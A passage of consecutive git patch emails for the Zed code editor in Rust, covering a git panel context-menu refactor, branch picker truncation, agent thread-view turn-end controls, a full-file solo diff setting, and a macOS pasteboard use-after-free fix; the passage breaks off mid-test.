 
     fn deploy_panel_context_menu(
@@ -7199,13 +7215,14 @@ impl GitPanel {
             window,
             cx,
         );
-        self.set_context_menu(context_menu, position, window, cx);
+        self.set_context_menu(context_menu, position, None, window, cx);
     }
 
     fn set_context_menu(
         &mut self,
         context_menu: Entity<ContextMenu>,
         position: Point<Pixels>,
+        target_entry_index: Option<usize>,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
@@ -7216,7 +7233,10 @@ impl GitPanel {
             window,
             |this, _, _: &DismissEvent, window, cx| {
                 if this.context_menu.as_ref().is_some_and(|context_menu| {
-                    context_menu.0.focus_handle(cx).contains_focused(window, cx)
+                    context_menu
+                        .menu
+                        .focus_handle(cx)
+                        .contains_focused(window, cx)
                 }) {
                     cx.focus_self(window);
                 }
@@ -7224,7 +7244,12 @@ impl GitPanel {
                 cx.notify();
             },
         );
-        self.context_menu = Some((context_menu, position, subscription));
+        self.context_menu = Some(GitPanelContextMenu {
+            menu: context_menu,
+            position,
+            target_entry_index,
+            _subscription: subscription,
+        });
         cx.notify();
     }
 
@@ -8024,12 +8049,12 @@ impl Render for GitPanel {
                     })
                     .into_any_element(),
             )
-            .children(self.context_menu.as_ref().map(|(menu, position, _)| {
+            .children(self.context_menu.as_ref().map(|context_menu| {
                 deferred(
                     anchored()
-                        .position(*position)
+                        .position(context_menu.position)
                         .anchor(Anchor::TopLeft)
-                        .child(menu.clone()),
+                        .child(context_menu.menu.clone()),
                 )
                 .with_priority(1)
             }))

From 9caf263a9b8d1815ee93229fc15112f7b8fbbc45 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Mon, 20 Jul 2026 17:25:07 -0300
Subject: [PATCH 577/772] branch_picker: Ensure description truncates (#61360)

Just a small tweak ensuring the description truncates nicely. I think
this was a recently-introduced regression, as I am pretty sure it was
truncating well not too long ago.

Release Notes:

- N/A
---
 crates/git_ui/src/branch_picker.rs | 13 ++++++++++---
 1 file changed, 10 insertions(+), 3 deletions(-)

diff --git a/crates/git_ui/src/branch_picker.rs b/crates/git_ui/src/branch_picker.rs
index a953eb9c61f649..37323558717914 100644
--- a/crates/git_ui/src/branch_picker.rs
+++ b/crates/git_ui/src/branch_picker.rs
@@ -1781,6 +1781,7 @@ impl PickerDelegate for BranchListDelegate {
             .child(
                 h_flex()
                     .w_full()
+                    .min_w_0()
                     .gap_2p5()
                     .flex_grow_1()
                     .child(
@@ -1796,6 +1797,7 @@ impl PickerDelegate for BranchListDelegate {
                         v_flex()
                             .id("info_container")
                             .w_full()
+                            .min_w_0()
                             .child(entry_title)
                             .child({
                                 let message = match entry {
@@ -1947,9 +1949,9 @@ impl PickerDelegate for BranchListDelegate {
                         });
                 starts_section.then(|| {
                     if branch.is_remote() {
-                        "Remote Branches"
+                        ("Remote Branches", ix != 0)
                     } else {
-                        "Local Branches"
+                        ("Local Branches", false)
                     }
                 })
             });
@@ -1957,8 +1959,13 @@ impl PickerDelegate for BranchListDelegate {
         Some(
             v_flex()
                 .w_full()
-                .when_some(section_header, |this, section_header| {
+                .when_some(section_header, |this, (section_header, show_divider)| {
                     this.pt_1p5()
+                        .when(show_divider, |this| {
+                            this.mt_1()
+                                .border_t_1()
+                                .border_color(cx.theme().colors().border_variant)
+                        })
                         .child(ListSubHeader::new(section_header).inset(true))
                 })
                 .child(list_item)

From 9731561c57014f91a9e8b2dd8d1fd4ccc223714c Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Mon, 20 Jul 2026 17:31:07 -0300
Subject: [PATCH 578/772] thread_view: Only show thread controls at the end of
 the turn (#61362)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Follow up to https://github.com/zed-industries/zed/pull/61245. That PR
introduced a bug where the thread controls would appear at seemingly
random tool boundaries as opposed to only at the end of each turn. It
caused this sort of behavior, where we'd have many instances of those
buttons showing up:

<img width="500" alt="Screenshot 2026-07-20 at 4  03 2@2x"
src="https://github.com/user-attachments/assets/6e6f716e-adb5-4532-9f89-e955398cda23"
/>

Alongside with fixing it, this PR is also making the "scroll to top"
only show up only at the very last turn. I think that makes more sense
given you'd be most likely interested to go to the top when you're at
the bottom, rather than at every turn, but I could be persuaded
otherwise; not holding that too strongly.

Release Notes:

- N/A
---
 .../src/conversation_view/thread_view.rs      | 69 ++++++++++++++-----
 1 file changed, 51 insertions(+), 18 deletions(-)

diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 2cface95216808..bd50d64504931a 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -6442,9 +6442,12 @@ impl ThreadView {
             primary
         };
 
-        let primary = if matches!(entry, AgentThreadEntry::AssistantMessage(_))
-            && !assistant_message_is_blank
-        {
+        let is_generating = matches!(thread.read(cx).status(), ThreadStatus::Generating);
+
+        let is_turn_end = Self::entry_is_finalized_turn_end(thread.read(cx).entries(), entry_ix)
+            .unwrap_or(!is_generating);
+
+        let primary = if is_turn_end && !assistant_message_is_blank {
             let user_message_index = thread
                 .read(cx)
                 .entries()
@@ -6660,6 +6663,30 @@ impl ThreadView {
             )
     }
 
+    /// A turn ends when no further assistant output (message or tool call)
+    /// follows before the next user message, and it's finalized once a user
+    /// message follows it.
+    fn entry_is_finalized_turn_end(entries: &[AgentThreadEntry], entry_ix: usize) -> Option<bool> {
+        if !matches!(
+            entries.get(entry_ix),
+            Some(AgentThreadEntry::AssistantMessage(_))
+        ) {
+            return Some(false);
+        }
+
+        for entry in &entries[entry_ix + 1..] {
+            match entry {
+                AgentThreadEntry::UserMessage(_) => return Some(true),
+                AgentThreadEntry::AssistantMessage(_) | AgentThreadEntry::ToolCall(_) => {
+                    return Some(false);
+                }
+                _ => {}
+            }
+        }
+
+        None
+    }
+
     fn render_thread_controls(
         &self,
         thread: &Entity<AcpThread>,
@@ -6702,13 +6729,15 @@ impl ThreadView {
             this.scroll_to_user_message_index(user_message_index, cx);
         }));
 
-        let scroll_to_top = IconButton::new(("scroll_to_top", entry_ix), IconName::ArrowUp)
-            .icon_size(IconSize::Small)
-            .icon_color(Color::Muted)
-            .tooltip(Tooltip::text("Scroll to Top"))
-            .on_click(cx.listener(move |this, _, _, cx| {
-                this.scroll_to_top(cx);
-            }));
+        let scroll_to_top = is_thread_bottom.then(|| {
+            IconButton::new(("scroll_to_top", entry_ix), IconName::ArrowUp)
+                .icon_size(IconSize::Small)
+                .icon_color(Color::Muted)
+                .tooltip(Tooltip::text("Scroll to Top"))
+                .on_click(cx.listener(move |this, _, _, cx| {
+                    this.scroll_to_top(cx);
+                }))
+        });
 
         let show_stats = is_thread_bottom && AgentSettings::get_global(cx).show_turn_stats;
 
@@ -6797,6 +6826,13 @@ impl ThreadView {
             })
             .flatten();
 
+        let separator_dots = || {
+            Label::new("•")
+                .size(LabelSize::Small)
+                .color(Color::Muted)
+                .alpha(0.5)
+        };
+
         h_flex()
             .w_full()
             .py_1p5()
@@ -6812,21 +6848,18 @@ impl ThreadView {
                             .px_1()
                             .gap_1()
                             .when_some(last_turn_tokens_label, |this, label| {
-                                this.child(label).child(
-                                    Label::new("•")
-                                        .size(LabelSize::Small)
-                                        .color(Color::Muted)
-                                        .alpha(0.5),
-                                )
+                                this.child(label).child(separator_dots())
                             })
-                            .when_some(last_turn_clock, |this, label| this.child(label)),
+                            .when_some(last_turn_clock, |this, label| {
+                                this.child(label).child(separator_dots())
+                            }),
                     )
                 },
             )
             .when_some(feedback_buttons, |this, buttons| this.child(buttons))
             .when_some(copy_response_button, |this, button| this.child(button))
             .child(scroll_to_recent_user_prompt)
-            .child(scroll_to_top)
+            .when_some(scroll_to_top, |this, button| this.child(button))
             .into_any_element()
     }
 

From ba1990441dc71e852216311ec7c4e873de710117 Mon Sep 17 00:00:00 2001
From: Sathwik Chirivelli <146921254+chirivelli@users.noreply.github.com>
Date: Tue, 21 Jul 2026 03:01:42 +0530
Subject: [PATCH 579/772] git_ui: Show full files by default in solo diffs
 (#60989)

# Objective

Make solo diff views show the full file by default while preserving an
easy way to focus on changed hunks. This addresses a recurring request
across issues and pull requests for full-file context in single-file Git
diffs.

## Solution

- Initialize the solo diff with a singleton multibuffer so the entire
file is visible on open.
- Keep the existing toolbar toggle available for switching to
changes-only excerpts.
- Use the singleton path key when replacing excerpts so toggling remains
reliable.
- Preserve Git change indicators in the scrollbar; the editor generates
those markers for singleton buffers.

## Testing

- Ran `cargo fmt -p git_ui`.
- Ran `git diff --check`.
- Ran `cargo check -p git_ui --no-default-features` successfully.
- Manually reviewed the full-file and changes-only state transitions in
`SoloDiffView`.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

Before, solo diffs opened with only changed hunks and surrounding
context. They now open with the complete file, retain Git change
indicators in the scrollbar, and can still be toggled to changes-only
from the toolbar.

---

Release Notes:

- Improved solo diffs to show the full file by default while retaining
Git change indicators in the scrollbar.
---
 assets/settings/default.json           |   4 +
 crates/editor/src/config.rs            |  10 +++
 crates/editor/src/editor.rs            |   2 +
 crates/editor/src/editor_settings.rs   |  13 +++
 crates/editor/src/element.rs           |  30 ++++---
 crates/git_ui/src/solo_diff_view.rs    | 106 +++++++++++++++++++------
 crates/settings_content/src/project.rs |  12 +++
 crates/settings_ui/src/page_data.rs    |  34 ++++++++
 8 files changed, 178 insertions(+), 33 deletions(-)

diff --git a/assets/settings/default.json b/assets/settings/default.json
index 563aeaf1a2ae88..b7cf7019ef1215 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -1690,6 +1690,10 @@
     "branch_picker": {
       "show_author_name": true,
     },
+    "file_diff": {
+      // Whether newly opened file diffs show the full file instead of changes only.
+      "show_full_file": true,
+    },
     // How git hunks are displayed visually in the editor.
     // This setting can take two values:
     //
diff --git a/crates/editor/src/config.rs b/crates/editor/src/config.rs
index bfda1aae44e4ec..f1a717db7c22e5 100644
--- a/crates/editor/src/config.rs
+++ b/crates/editor/src/config.rs
@@ -198,6 +198,16 @@ impl Editor {
         cx.notify();
     }
 
+    pub fn set_allow_git_diff_scrollbar_markers(&mut self, allow: bool, cx: &mut Context<Self>) {
+        if self.allow_git_diff_scrollbar_markers != allow {
+            self.allow_git_diff_scrollbar_markers = allow;
+            self.scrollbar_marker_state.dirty = true;
+            self.scrollbar_marker_state.markers = Default::default();
+            self.scrollbar_marker_state.pending_refresh = None;
+            cx.notify();
+        }
+    }
+
     pub fn set_show_code_actions(&mut self, show_code_actions: bool, cx: &mut Context<Self>) {
         self.show_code_actions = Some(show_code_actions);
         cx.notify();
diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 635521b46022ed..f456d62a22e931 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -999,6 +999,7 @@ pub struct Editor {
     background_highlights: HashMap<HighlightKey, BackgroundHighlight>,
     navigation_overlays: HashMap<NavigationOverlayKey, Arc<[NavigationTargetOverlay]>>,
     gutter_highlights: TypeIdHashMap<GutterHighlight>,
+    allow_git_diff_scrollbar_markers: bool,
     scrollbar_marker_state: ScrollbarMarkerState,
     active_indent_guides_state: ActiveIndentGuidesState,
     nav_history: Option<ItemNavHistory>,
@@ -2302,6 +2303,7 @@ impl Editor {
             background_highlights: HashMap::default(),
             navigation_overlays: HashMap::default(),
             gutter_highlights: Default::default(),
+            allow_git_diff_scrollbar_markers: false,
             scrollbar_marker_state: ScrollbarMarkerState::default(),
             active_indent_guides_state: ActiveIndentGuidesState::default(),
             nav_history: None,
diff --git a/crates/editor/src/editor_settings.rs b/crates/editor/src/editor_settings.rs
index ffda80c35819e6..9e6cdcd44b7a8c 100644
--- a/crates/editor/src/editor_settings.rs
+++ b/crates/editor/src/editor_settings.rs
@@ -69,6 +69,15 @@ pub struct EditorSettings {
     pub completion_menu_item_kind: CompletionMenuItemKind,
     pub diff_view_style: DiffViewStyle,
     pub minimum_split_diff_width: f32,
+    pub file_diff: FileDiffSettings,
+}
+
+#[derive(Clone, Copy, Debug)]
+pub struct FileDiffSettings {
+    /// Whether newly opened file diffs show the full file instead of changes only.
+    ///
+    /// Default: true
+    pub show_full_file: bool,
 }
 #[derive(Debug, Clone)]
 pub struct Jupyter {
@@ -204,6 +213,7 @@ impl Settings for EditorSettings {
         let search = editor.search.unwrap();
         let drag_and_drop_selection = editor.drag_and_drop_selection.unwrap();
         let sticky_scroll = editor.sticky_scroll.unwrap();
+        let file_diff = content.git.as_ref().unwrap().file_diff.unwrap();
         Self {
             cursor_blink: editor.cursor_blink.unwrap(),
             cursor_shape: editor.cursor_shape.map(Into::into),
@@ -313,6 +323,9 @@ impl Settings for EditorSettings {
             completion_menu_item_kind: editor.completion_menu_item_kind.unwrap(),
             diff_view_style: editor.diff_view_style.unwrap(),
             minimum_split_diff_width: editor.minimum_split_diff_width.unwrap(),
+            file_diff: FileDiffSettings {
+                show_full_file: file_diff.show_full_file.unwrap(),
+            },
         }
     }
 }
diff --git a/crates/editor/src/element.rs b/crates/editor/src/element.rs
index f7be01d96f54cc..6fa72f155f8519 100644
--- a/crates/editor/src/element.rs
+++ b/crates/editor/src/element.rs
@@ -1315,8 +1315,10 @@ impl EditorElement {
             ShowScrollbar::Auto => {
                 let editor = self.editor.read(cx);
                 let is_singleton = editor.buffer_kind(cx) == ItemBufferKind::Singleton;
+                let supports_git_diff_markers =
+                    is_singleton || editor.allow_git_diff_scrollbar_markers;
                 // Git
-                (is_singleton && scrollbar_settings.git_diff && snapshot.buffer_snapshot().has_diff_hunks())
+                (supports_git_diff_markers && scrollbar_settings.git_diff && snapshot.buffer_snapshot().has_diff_hunks())
                 ||
                 // Buffer Search Results
                 (is_singleton && scrollbar_settings.search_results && editor.has_background_highlights(HighlightKey::BufferSearchHighlights))
@@ -6001,10 +6003,19 @@ impl EditorElement {
         cx: &mut App,
     ) {
         self.editor.update(cx, |editor, cx| {
-            if editor.buffer_kind(cx) != ItemBufferKind::Singleton
-                || !editor
-                    .scrollbar_marker_state
-                    .should_refresh(scrollbar_layout.hitbox.size)
+            let is_singleton = editor.buffer_kind(cx) == ItemBufferKind::Singleton;
+            let scrollbar_settings = EditorSettings::get_global(cx).scrollbar;
+            let show_git_diff_markers = scrollbar_settings.git_diff
+                && (is_singleton || editor.allow_git_diff_scrollbar_markers);
+            if !is_singleton && !show_git_diff_markers {
+                editor.scrollbar_marker_state.dirty = true;
+                editor.scrollbar_marker_state.markers = Default::default();
+                editor.scrollbar_marker_state.pending_refresh = None;
+                return;
+            }
+            if !editor
+                .scrollbar_marker_state
+                .should_refresh(scrollbar_layout.hitbox.size)
             {
                 return;
             }
@@ -6013,7 +6024,6 @@ impl EditorElement {
             let background_highlights = editor.background_highlights.clone();
             let snapshot = layout.position_map.snapshot.clone();
             let theme = cx.theme().clone();
-            let scrollbar_settings = EditorSettings::get_global(cx).scrollbar;
 
             editor.scrollbar_marker_state.dirty = false;
             editor.scrollbar_marker_state.pending_refresh =
@@ -6023,7 +6033,7 @@ impl EditorElement {
                         .background_spawn(async move {
                             let max_point = snapshot.display_snapshot.buffer_snapshot().max_point();
                             let mut marker_quads = Vec::new();
-                            if scrollbar_settings.git_diff {
+                            if show_git_diff_markers {
                                 let marker_row_ranges =
                                     snapshot.buffer_snapshot().diff_hunks().map(|hunk| {
                                         let start_display_row =
@@ -6062,7 +6072,7 @@ impl EditorElement {
                             }
 
                             for (background_highlight_id, (_, background_ranges)) in
-                                background_highlights.iter()
+                                background_highlights.iter().filter(|_| is_singleton)
                             {
                                 let is_search_highlights = *background_highlight_id
                                     == HighlightKey::BufferSearchHighlights;
@@ -6099,7 +6109,9 @@ impl EditorElement {
                                 }
                             }
 
-                            if scrollbar_settings.diagnostics != ScrollbarDiagnostics::None {
+                            if is_singleton
+                                && scrollbar_settings.diagnostics != ScrollbarDiagnostics::None
+                            {
                                 let diagnostics = snapshot
                                     .buffer_snapshot()
                                     .diagnostics_in_range::<Point>(Point::zero()..max_point)
diff --git a/crates/git_ui/src/solo_diff_view.rs b/crates/git_ui/src/solo_diff_view.rs
index 038bde7d0784fc..9063056b4c76ea 100644
--- a/crates/git_ui/src/solo_diff_view.rs
+++ b/crates/git_ui/src/solo_diff_view.rs
@@ -129,18 +129,9 @@ impl SoloDiffView {
         cx: &mut Context<Self>,
     ) -> Self {
         let repository_id = repository.read(cx).id;
-        let multibuffer = cx.new(|cx| {
-            let mut multibuffer = MultiBuffer::without_headers(buffer.read(cx).capability());
-            multibuffer.set_excerpts_for_path(
-                PathKey::for_buffer(&buffer, cx),
-                buffer.clone(),
-                Self::hunk_ranges(&buffer, &diff, cx),
-                excerpt_context_lines(cx),
-                cx,
-            );
-            multibuffer.add_diff(diff.clone(), cx);
-            multibuffer
-        });
+        let showing_full_file = EditorSettings::get_global(cx).file_diff.show_full_file;
+        let multibuffer = cx
+            .new(|cx| Self::build_multibuffer(buffer.clone(), diff.clone(), showing_full_file, cx));
         let editor = cx.new(|cx| {
             let editor = SplittableEditor::new(
                 EditorSettings::get_global(cx).diff_view_style,
@@ -152,6 +143,7 @@ impl SoloDiffView {
             );
             editor.rhs_editor().update(cx, |editor, cx| {
                 editor.set_should_serialize(false, cx);
+                editor.set_allow_git_diff_scrollbar_markers(showing_full_file, cx);
                 let snapshot = editor.snapshot(window, cx);
                 editor.go_to_hunk_before_or_after_position(
                     &snapshot,
@@ -188,11 +180,42 @@ impl SoloDiffView {
             diff,
             editor,
             workspace: workspace.downgrade(),
-            showing_full_file: false,
+            showing_full_file,
             _settings_subscription: settings_subscription,
         }
     }
 
+    fn build_multibuffer(
+        buffer: Entity<Buffer>,
+        diff: Entity<buffer_diff::BufferDiff>,
+        showing_full_file: bool,
+        cx: &mut Context<MultiBuffer>,
+    ) -> MultiBuffer {
+        let (ranges, context_line_count) =
+            Self::excerpt_ranges(&buffer, &diff, showing_full_file, cx);
+
+        let mut multibuffer = MultiBuffer::without_headers(buffer.read(cx).capability());
+        multibuffer.set_excerpts_for_buffer(buffer, ranges, context_line_count, cx);
+        multibuffer.add_diff(diff, cx);
+        multibuffer
+    }
+
+    fn excerpt_ranges(
+        buffer: &Entity<Buffer>,
+        diff: &Entity<buffer_diff::BufferDiff>,
+        showing_full_file: bool,
+        cx: &App,
+    ) -> (Vec<Range<Point>>, u32) {
+        if showing_full_file {
+            (vec![Point::zero()..buffer.read(cx).max_point()], 0)
+        } else {
+            (
+                Self::hunk_ranges(buffer, diff, cx),
+                excerpt_context_lines(cx),
+            )
+        }
+    }
+
     fn hunk_ranges(
         buffer: &Entity<Buffer>,
         diff: &Entity<buffer_diff::BufferDiff>,
@@ -215,17 +238,8 @@ impl SoloDiffView {
             return;
         }
 
-        let ranges = if showing_full_file {
-            let buffer = self.buffer.read(cx);
-            vec![Point::zero()..buffer.max_point()]
-        } else {
-            Self::hunk_ranges(&self.buffer, &self.diff, cx)
-        };
-        let context_line_count = if showing_full_file {
-            0
-        } else {
-            excerpt_context_lines(cx)
-        };
+        let (ranges, context_line_count) =
+            Self::excerpt_ranges(&self.buffer, &self.diff, showing_full_file, cx);
 
         self.editor.update(cx, |editor, cx| {
             let path = PathKey::for_buffer(&self.buffer, cx);
@@ -238,6 +252,9 @@ impl SoloDiffView {
                 self.diff.clone(),
                 cx,
             );
+            editor.rhs_editor().update(cx, |editor, cx| {
+                editor.set_allow_git_diff_scrollbar_markers(showing_full_file, cx);
+            });
         });
 
         self.showing_full_file = showing_full_file;
@@ -703,6 +720,47 @@ struct SoloDiffButtonStates {
     unstage_file: bool,
 }
 
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use gpui::TestAppContext;
+    use multi_buffer::MultiBufferRow;
+
+    #[gpui::test]
+    fn test_changes_only_multibuffer_has_one_buffer_and_expand_controls(cx: &mut TestAppContext) {
+        let base_text = (0..20)
+            .map(|line| format!("line {line}"))
+            .collect::<Vec<_>>()
+            .join("\n");
+        let current_text = base_text.replace("line 10", "changed line 10");
+        let buffer = cx.new(|cx| Buffer::local(current_text, cx));
+        let diff = cx.new(|cx| {
+            buffer_diff::BufferDiff::new_with_base_text(
+                &base_text,
+                &buffer.read(cx).text_snapshot(),
+                cx,
+            )
+        });
+        let multibuffer = cx.new(|cx| SoloDiffView::build_multibuffer(buffer, diff, false, cx));
+
+        let (is_singleton, buffer_count, has_expand_controls) =
+            multibuffer.update(cx, |multibuffer, cx| {
+                (
+                    multibuffer.is_singleton(),
+                    multibuffer.snapshot(cx).all_buffer_ids().count(),
+                    multibuffer
+                        .snapshot(cx)
+                        .row_infos(MultiBufferRow(0))
+                        .any(|row| row.expand_info.is_some()),
+                )
+            });
+
+        assert!(!is_singleton);
+        assert_eq!(buffer_count, 1);
+        assert!(has_expand_controls);
+    }
+}
+
 impl Render for SoloDiffGitToolbar {
     fn render(&mut self, _: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
         let Some(solo_diff) = self.solo_diff() else {
diff --git a/crates/settings_content/src/project.rs b/crates/settings_content/src/project.rs
index 7f4d8d53912e64..f178e59efcbdfe 100644
--- a/crates/settings_content/src/project.rs
+++ b/crates/settings_content/src/project.rs
@@ -540,6 +540,8 @@ pub struct GitSettings {
     ///
     /// Default: on
     pub branch_picker: Option<BranchPickerSettingsContent>,
+    /// File diff settings.
+    pub file_diff: Option<FileDiffSettingsContent>,
     /// How hunks are displayed visually in the editor.
     ///
     /// Default: staged_hollow
@@ -691,6 +693,16 @@ pub struct BranchPickerSettingsContent {
     pub show_author_name: Option<bool>,
 }
 
+#[with_fallible_options]
+#[derive(Clone, Copy, PartialEq, Debug, Default, Serialize, Deserialize, JsonSchema, MergeFrom)]
+#[serde(rename_all = "snake_case")]
+pub struct FileDiffSettingsContent {
+    /// Whether newly opened file diffs show the full file instead of changes only.
+    ///
+    /// Default: true
+    pub show_full_file: Option<bool>,
+}
+
 #[derive(
     Clone,
     Copy,
diff --git a/crates/settings_ui/src/page_data.rs b/crates/settings_ui/src/page_data.rs
index 3c1aa9708e25a0..13939e246b6646 100644
--- a/crates/settings_ui/src/page_data.rs
+++ b/crates/settings_ui/src/page_data.rs
@@ -7875,6 +7875,39 @@ fn version_control_page() -> SettingsPage {
         ]
     }
 
+    fn file_diff_section() -> [SettingsPageItem; 2] {
+        [
+            SettingsPageItem::SectionHeader("File Diff"),
+            SettingsPageItem::SettingItem(SettingItem {
+                title: "Show Full File by Default",
+                description: "Whether newly opened file diffs show the full file instead of changes only.",
+                field: Box::new(SettingField {
+                    organization_override: None,
+                    json_path: Some("git.file_diff.show_full_file"),
+                    pick: |settings_content| {
+                        settings_content
+                            .git
+                            .as_ref()?
+                            .file_diff
+                            .as_ref()?
+                            .show_full_file
+                            .as_ref()
+                    },
+                    write: |settings_content, value, _| {
+                        settings_content
+                            .git
+                            .get_or_insert_default()
+                            .file_diff
+                            .get_or_insert_default()
+                            .show_full_file = value;
+                    },
+                }),
+                metadata: None,
+                files: USER,
+            }),
+        ]
+    }
+
     SettingsPage {
         title: "Version Control",
         items: concat_sections![
@@ -7883,6 +7916,7 @@ fn version_control_page() -> SettingsPage {
             inline_git_blame_section(),
             git_blame_view_section(),
             branch_picker_section(),
+            file_diff_section(),
             git_hunks_section(),
         ],
     }

From 914e1c9873b6b85bfeedc5b58e8270885bdd532e Mon Sep 17 00:00:00 2001
From: Prithvish Baidya <deformercoding@gmail.com>
Date: Tue, 21 Jul 2026 09:27:04 +0530
Subject: [PATCH 580/772] gpui_macos: Retain pasteboard objects (#61024)

## Objective

Prevent a use-after-free when a macOS pasteboard wrapper outlives the
autorelease pool in which it was created.

Pasteboard cached its NSPasteboard and custom zed-text-hash and
zed-metadata NSString objects as raw ids. These constructors return
autoreleased objects. A later clipboard read could therefore pass a
dangling type identifier to dataForType and crash in objc_msgSend.

## Solution

- Retain the pasteboard and custom type objects for the Pasteboard
lifetime with StrongPtr.
- Copy NSData contents into owned Rust byte buffers before the
autoreleased data object can expire.
- Add a regression test that drains the creation autorelease pool and
then accesses the retained custom types.

## Testing

- cargo test -p gpui_macos --features runtime_shaders
test_custom_types_survive_creation_autorelease_pool --lib
- Built an optimized macOS embedder against the patched GPUI checkout.

## Self-Review Checklist:

- [x] I have reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks have justifying comments
- [x] The content adheres to Zed UI and icon standards; this change has
no UI
- [x] Tests cover the changed lifetime behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed a macOS crash that could occur when reading from the clipboard.

---
AI Disclosure: I ran into this bug on a project where I'm using GPUI.
For my purposes I patched it on my fork I maintain. I had codex (gpt
5.6-sol) send this PR because I think this fix should be upstreamed.
---
 crates/gpui_macos/src/pasteboard.rs | 67 ++++++++++++++++-------------
 1 file changed, 37 insertions(+), 30 deletions(-)

diff --git a/crates/gpui_macos/src/pasteboard.rs b/crates/gpui_macos/src/pasteboard.rs
index 8362ab8f3b5c0e..92a3c10af54877 100644
--- a/crates/gpui_macos/src/pasteboard.rs
+++ b/crates/gpui_macos/src/pasteboard.rs
@@ -10,7 +10,7 @@ use cocoa::{
     base::{id, nil},
     foundation::{NSArray, NSData, NSFastEnumeration, NSString},
 };
-use objc::{msg_send, runtime::Object, sel, sel_impl};
+use objc::{msg_send, rc::StrongPtr, runtime::Object, sel, sel_impl};
 use smallvec::SmallVec;
 use strum::IntoEnumIterator as _;
 
@@ -20,9 +20,9 @@ use gpui::{
 };
 
 pub struct Pasteboard {
-    inner: id,
-    text_hash_type: id,
-    metadata_type: id,
+    inner: StrongPtr,
+    text_hash_type: StrongPtr,
+    metadata_type: StrongPtr,
 }
 
 impl Pasteboard {
@@ -40,17 +40,19 @@ impl Pasteboard {
     }
 
     unsafe fn new(inner: id) -> Self {
+        // These constructors return autoreleased objects, but a Pasteboard can
+        // outlive the autorelease pool in which it was created.
         Self {
-            inner,
-            text_hash_type: unsafe { ns_string("zed-text-hash") },
-            metadata_type: unsafe { ns_string("zed-metadata") },
+            inner: unsafe { StrongPtr::retain(inner) },
+            text_hash_type: unsafe { StrongPtr::retain(ns_string("zed-text-hash")) },
+            metadata_type: unsafe { StrongPtr::retain(ns_string("zed-metadata")) },
         }
     }
 
     pub fn read(&self) -> Option<ClipboardItem> {
         unsafe {
             // Check for file paths first
-            let filenames = NSPasteboard::propertyListForType(self.inner, NSFilenamesPboardType);
+            let filenames = NSPasteboard::propertyListForType(*self.inner, NSFilenamesPboardType);
             if filenames != nil && NSArray::count(filenames) > 0 {
                 let mut paths = SmallVec::new();
                 for file in filenames.iter() {
@@ -118,27 +120,18 @@ impl Pasteboard {
                 return None;
             }
 
-            let data = self.inner.dataForType(string_type);
-            let text_bytes: &[u8] = if data == nil {
-                return None;
-            } else if data.bytes().is_null() {
-                // https://developer.apple.com/documentation/foundation/nsdata/1410616-bytes?language=objc
-                // "If the length of the NSData object is 0, this property returns nil."
-                &[]
-            } else {
-                slice::from_raw_parts(data.bytes() as *mut u8, data.length() as usize)
-            };
+            let text_bytes = self.data_for_type(string_type)?;
 
-            let text = String::from_utf8_lossy(text_bytes).to_string();
+            let text = String::from_utf8_lossy(&text_bytes).to_string();
             let metadata = self
-                .data_for_type(self.text_hash_type)
+                .data_for_type(*self.text_hash_type)
                 .and_then(|hash_bytes| {
-                    let hash_bytes = hash_bytes.try_into().ok()?;
+                    let hash_bytes = hash_bytes.as_slice().try_into().ok()?;
                     let hash = u64::from_be_bytes(hash_bytes);
-                    let metadata = self.data_for_type(self.metadata_type)?;
+                    let metadata = self.data_for_type(*self.metadata_type)?;
 
                     if hash == ClipboardString::text_hash(&text) {
-                        String::from_utf8(metadata.to_vec()).ok()
+                        String::from_utf8(metadata).ok()
                     } else {
                         None
                     }
@@ -148,16 +141,17 @@ impl Pasteboard {
         }
     }
 
-    unsafe fn data_for_type(&self, kind: id) -> Option<&[u8]> {
+    unsafe fn data_for_type(&self, kind: id) -> Option<Vec<u8>> {
         unsafe {
             let data = self.inner.dataForType(kind);
             if data == nil {
                 None
+            } else if data.bytes().is_null() {
+                Some(Vec::new())
             } else {
-                Some(slice::from_raw_parts(
-                    data.bytes() as *mut u8,
-                    data.length() as usize,
-                ))
+                Some(
+                    slice::from_raw_parts(data.bytes() as *mut u8, data.length() as usize).to_vec(),
+                )
             }
         }
     }
@@ -226,7 +220,7 @@ impl Pasteboard {
                     hash_bytes.as_ptr() as *const c_void,
                     hash_bytes.len() as u64,
                 );
-                self.inner.setData_forType(hash_bytes, self.text_hash_type);
+                self.inner.setData_forType(hash_bytes, *self.text_hash_type);
 
                 let metadata_bytes = NSData::dataWithBytes_length_(
                     nil,
@@ -234,7 +228,7 @@ impl Pasteboard {
                     metadata.len() as u64,
                 );
                 self.inner
-                    .setData_forType(metadata_bytes, self.metadata_type);
+                    .setData_forType(metadata_bytes, *self.metadata_type);
             }
         }
     }
@@ -345,6 +339,7 @@ mod tests {
     use std::ffi::c_void;
 
     use gpui::{ClipboardEntry, ClipboardItem, ClipboardString, ImageFormat};
+    use objc::rc::autoreleasepool;
 
     use super::*;
 
@@ -409,6 +404,18 @@ mod tests {
         );
     }
 
+    #[test]
+    fn test_custom_types_survive_creation_autorelease_pool() {
+        let pasteboard = autoreleasepool(|| unsafe { Pasteboard::new(nil) });
+
+        unsafe {
